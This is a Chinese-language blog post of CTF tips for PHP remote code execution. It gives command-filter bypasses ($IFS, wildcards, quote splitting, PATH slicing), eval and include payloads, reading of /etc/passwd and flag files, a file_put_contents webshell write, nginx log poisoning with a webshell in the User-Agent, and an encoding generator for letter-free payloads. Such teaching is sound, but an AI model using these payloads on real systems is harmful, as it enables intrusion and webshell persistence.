CTF-Web中对于RCE常用姿势总结

由 Polze Li 发布

PHP的RCE中一些小技巧

空格过滤绕过

1、大括号{}:
{cat,flag.php}
2、$IFS代替空格:
$IFS$9,${IFS},$IFS这三个都行
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符 (internal field separator)。
?cmd=ls$IFS-I
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名
?cmd=ls${IFS}-l
$IFS$9后面加个${}类似,起截断作用,$9是当前系统shell进程第九个参数持有者始终为空字符串。
?cmd=ls${IFS}$9-l
3、重定向字符<,<>
4、%09绕过(相当于Tab键)(可以搭配/fl* 使用)

文件名过滤绕过

1、??和绕过
过滤flag文件名用??和
绕过

cat /fl??
cat /f*

以上指令等效于cat /flag

2、单引号(')双引号("")反引号(``)反斜杠()绕过正则

cat /fl""ag
c""at /e't'c/pas``s``wd
passthru('cat /fl""ag.p\'\'hp')

对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性(如preg_match中对于标点的过滤就是使用的\去掉功能性),避免报错

3、特殊变量:$1$9$@$*
这些特殊变量输出为空,或者在单词结尾处插入$x,这里的x可以是任意字母

cat /fl$9ag
cat /fl$@ag
c$@at /e$@tc/pas$@swd
cat$x /etc$x/passwd$x
ca$@t /etc$x/passwd$x

4、拼接绕过

a=c;b=a;c=t;$a$b$c /flag.txt
a=f;c=a;d=g;b=l;cat $a$b$c$d.php

6、利用linux中的环境变量
使用环境变量里的字符执行变量

echo $PATH    #PATH默认系统环境变量
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
表示flag.php

比如${PATH:5:1}指的是取路径的第五位(从0开始数,第0位是/)的字符,步长为1,即只取一个字母l,以此类推就能拼接成关键字flag.php

没有单独的WAF用preg_match进行waf的

1、直接执行系统命令

?c=system("tac%20fla*"); tac绕过cat检测利用tac与system结合,拿到flag  只有用tac的时候才可以用fla*来代替

2、内敛执行 (反字节符)

?c=echo%20`tac%20fla*`;

注意结尾的分号,有反字节符,要核对一下是否转义。 利用echo命令和tac相结合来实现。flag采用*绕过。`` 是反字符节

3、利用参数输入+eval

?c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=system('ls');

注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的。

4、利用参数输入+include

这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

也可以尝试写入木马 file_put_contents("123.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27); 访问123.php,然后就可以连马。可以利用已知的其他函数来凑出所需要的字符串来绕过

5.利用已知的其他函数来 凑出 所需要的字符串来绕过

使用pos(localeconv)来获取小数点
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。
?c=print_r(scandir(pos(localeconv()))); 可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。

6.利用已知函数 直接 绕过

使用时,需要配合print或者echo使用

payload
echo(var_dump(scandir("/")));
echo(var_dump(file("/flag")));
echo(var_dump(scandir(chr(47).chr(20))));
已知函数
部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现。
var_dump() 用于返回数据的类型和值 GLOBALS:全局变量,打印该变量可以显示该php中的所有变量值
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')
scandir() 函数返回指定目录中的文件和目录的数组。
file()
chr().chr()
phpinfo()

7.使用未被过滤的命令。passthru直接读取

?c=passthru(%22tac$IFS$9fla*%22); 
?c=passthru("tac\$IFS\$9fla*");

8.日志注入

?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log

/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可

9.awk

?c=awk '{printf $0}' flag.php||

10.异或、取反、自增、临时文件

可以参考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.cnblogs.com/cimuhuashuimu/p/11546422.html
这里只写取反的方法,这些方法适用于过滤了所有字母的RCE题目,例如

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

payload如下,可以使用system、passthru等函数

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

含有单独的WAF

可以参考php解析字符串特性
php解析时
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)
num _num +num这些会统一解析为num,认为是同一个变量,但是waf读取是传入什么就是什么,也就是说waf判断num的参数传入内容,_num +num num 这样就能绕过waf。
例题
waf
CTF-Web中对于RCE常用姿势总结
源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');     // 存在高危漏洞,可以上传非法字符
}
?>

在js的waf中对num 的解析就是其传入的,但是php中对num的解析就变成了num

版权所有:lzz0403的技术博客
文章标题:CTF-Web中对于RCE常用姿势总结
除非注明,文章均为 lzz0403的技术博客 原创,请勿用于任何商业用途,禁止转载

0条评论

发表评论